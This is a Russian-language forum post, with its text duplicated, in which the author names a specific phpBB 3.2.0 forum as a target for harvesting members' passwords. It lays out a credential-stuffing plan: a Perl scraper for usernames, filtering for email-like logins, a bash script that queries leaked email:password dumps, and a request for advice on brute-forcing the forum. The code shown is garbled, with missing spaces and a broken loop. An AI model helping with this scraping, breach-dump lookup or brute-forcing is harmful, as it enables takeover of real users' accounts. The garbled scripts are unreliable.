SladerNon
07.10.2018, 15:36
Столкнулся со следующей задачей: Цель PhpBB3.2.0 (http://forum.lazarev.ru/docs/CHANGELOG.html#v320) (Регистрация на форуме не работает, и основная задача у меня, "захватить" как можно больше паролей зарегистрированных участников)
1). Вопрос №1. Необходимо спарсить логины всех участников форума. Найденное решение:
.SpoilerTarget" type="button">Spoiler
PHP:
#!/usr/bin/perl
useLWP::UserAgent;
printqq(
Enter adress:
e.g. -http://forum.site.ru/
> );
$adr=;
chomp($adr);
printqq(
Enter numbers of page witch users:
e.g. -500
> );
$page=;
chomp($page);
open(A,">>nicknames.txt");
$count=0;
while ($countnew( ) or die;
$answer=$client->get($url);
@nicknames=$answer->content=~ /(.*)/g;
print A join "\n", @nicknames;}
Только зараза не работает. Где тут ошибка-то?
2). Вопрос №2. Выбрать из отпарсенных логинов те, которые имеют вид e-mail адреса. Такие на форуме есть. (Ну с этим проблем возникнуть не должно. Готового софта для этой цели предостаточно).
3). Вопрос №3. Скачав различные базы вида e-mail-pass, сделать отбор известных паролей, для отпарсенных логинов. Решение вот такое:
.SpoilerTarget" type="button">Spoiler
PHP:
#!/bin/bash
dir=$(cd"$( dirname "${BASH_SOURCE[0]}" )"&&pwd)
if ["$1"!=""];then
letter1=$(echo ${1,,}|cut-b1)
if [[$letter1== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1"];then
grep-ai"^$1" "$dir/data/$letter1"
else
letter2=$(echo ${1,,}|cut-b2)
if [[$letter2== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1/$letter2"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2"
else
letter3=$(echo ${1,,}|cut-b3)
if [[$letter3== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1/$letter2/$letter3"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2/$letter3"
fi
else
if [ -f"$dir/data/$letter1/$letter2/symbols"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2/symbols"
fi
fi
fi
else
if [ -f"$dir/data/$letter1/symbols"];then
grep-ai"^$1" "$dir/data/$letter1/symbols"
fi
fi
fi
else
if [ -f"$dir/data/symbols"];then
grep-ai"^$1" "$dir/data/symbols"
fi
fi
else
echo" Example: ./query name@domain.com"
fi
Скрипт хорошо работает. По запросу ./query name@domain.com (mailto:name@domain.com) - выводится нужная инфа по этому мылу, если она есть. Однако мне требуется: одной командой вывести в текстовый файл, всю инфу про всех нужных мне e-mail.Как подправить скрипт?
4)Вопрос №4: По нужным логинам и выбранных для каждого логина пароля(лей), сделать брут форума. Что посоветуйте?
1). Вопрос №1. Необходимо спарсить логины всех участников форума. Найденное решение:
.SpoilerTarget" type="button">Spoiler
PHP:
#!/usr/bin/perl
useLWP::UserAgent;
printqq(
Enter adress:
e.g. -http://forum.site.ru/
> );
$adr=;
chomp($adr);
printqq(
Enter numbers of page witch users:
e.g. -500
> );
$page=;
chomp($page);
open(A,">>nicknames.txt");
$count=0;
while ($countnew( ) or die;
$answer=$client->get($url);
@nicknames=$answer->content=~ /(.*)/g;
print A join "\n", @nicknames;}
Только зараза не работает. Где тут ошибка-то?
2). Вопрос №2. Выбрать из отпарсенных логинов те, которые имеют вид e-mail адреса. Такие на форуме есть. (Ну с этим проблем возникнуть не должно. Готового софта для этой цели предостаточно).
3). Вопрос №3. Скачав различные базы вида e-mail-pass, сделать отбор известных паролей, для отпарсенных логинов. Решение вот такое:
.SpoilerTarget" type="button">Spoiler
PHP:
#!/bin/bash
dir=$(cd"$( dirname "${BASH_SOURCE[0]}" )"&&pwd)
if ["$1"!=""];then
letter1=$(echo ${1,,}|cut-b1)
if [[$letter1== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1"];then
grep-ai"^$1" "$dir/data/$letter1"
else
letter2=$(echo ${1,,}|cut-b2)
if [[$letter2== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1/$letter2"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2"
else
letter3=$(echo ${1,,}|cut-b3)
if [[$letter3== [a-zA-Z0-9] ]];then
if [ -f"$dir/data/$letter1/$letter2/$letter3"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2/$letter3"
fi
else
if [ -f"$dir/data/$letter1/$letter2/symbols"];then
grep-ai"^$1" "$dir/data/$letter1/$letter2/symbols"
fi
fi
fi
else
if [ -f"$dir/data/$letter1/symbols"];then
grep-ai"^$1" "$dir/data/$letter1/symbols"
fi
fi
fi
else
if [ -f"$dir/data/symbols"];then
grep-ai"^$1" "$dir/data/symbols"
fi
fi
else
echo" Example: ./query name@domain.com"
fi
Скрипт хорошо работает. По запросу ./query name@domain.com (mailto:name@domain.com) - выводится нужная инфа по этому мылу, если она есть. Однако мне требуется: одной командой вывести в текстовый файл, всю инфу про всех нужных мне e-mail.Как подправить скрипт?
4)Вопрос №4: По нужным логинам и выбранных для каждого логина пароля(лей), сделать брут форума. Что посоветуйте?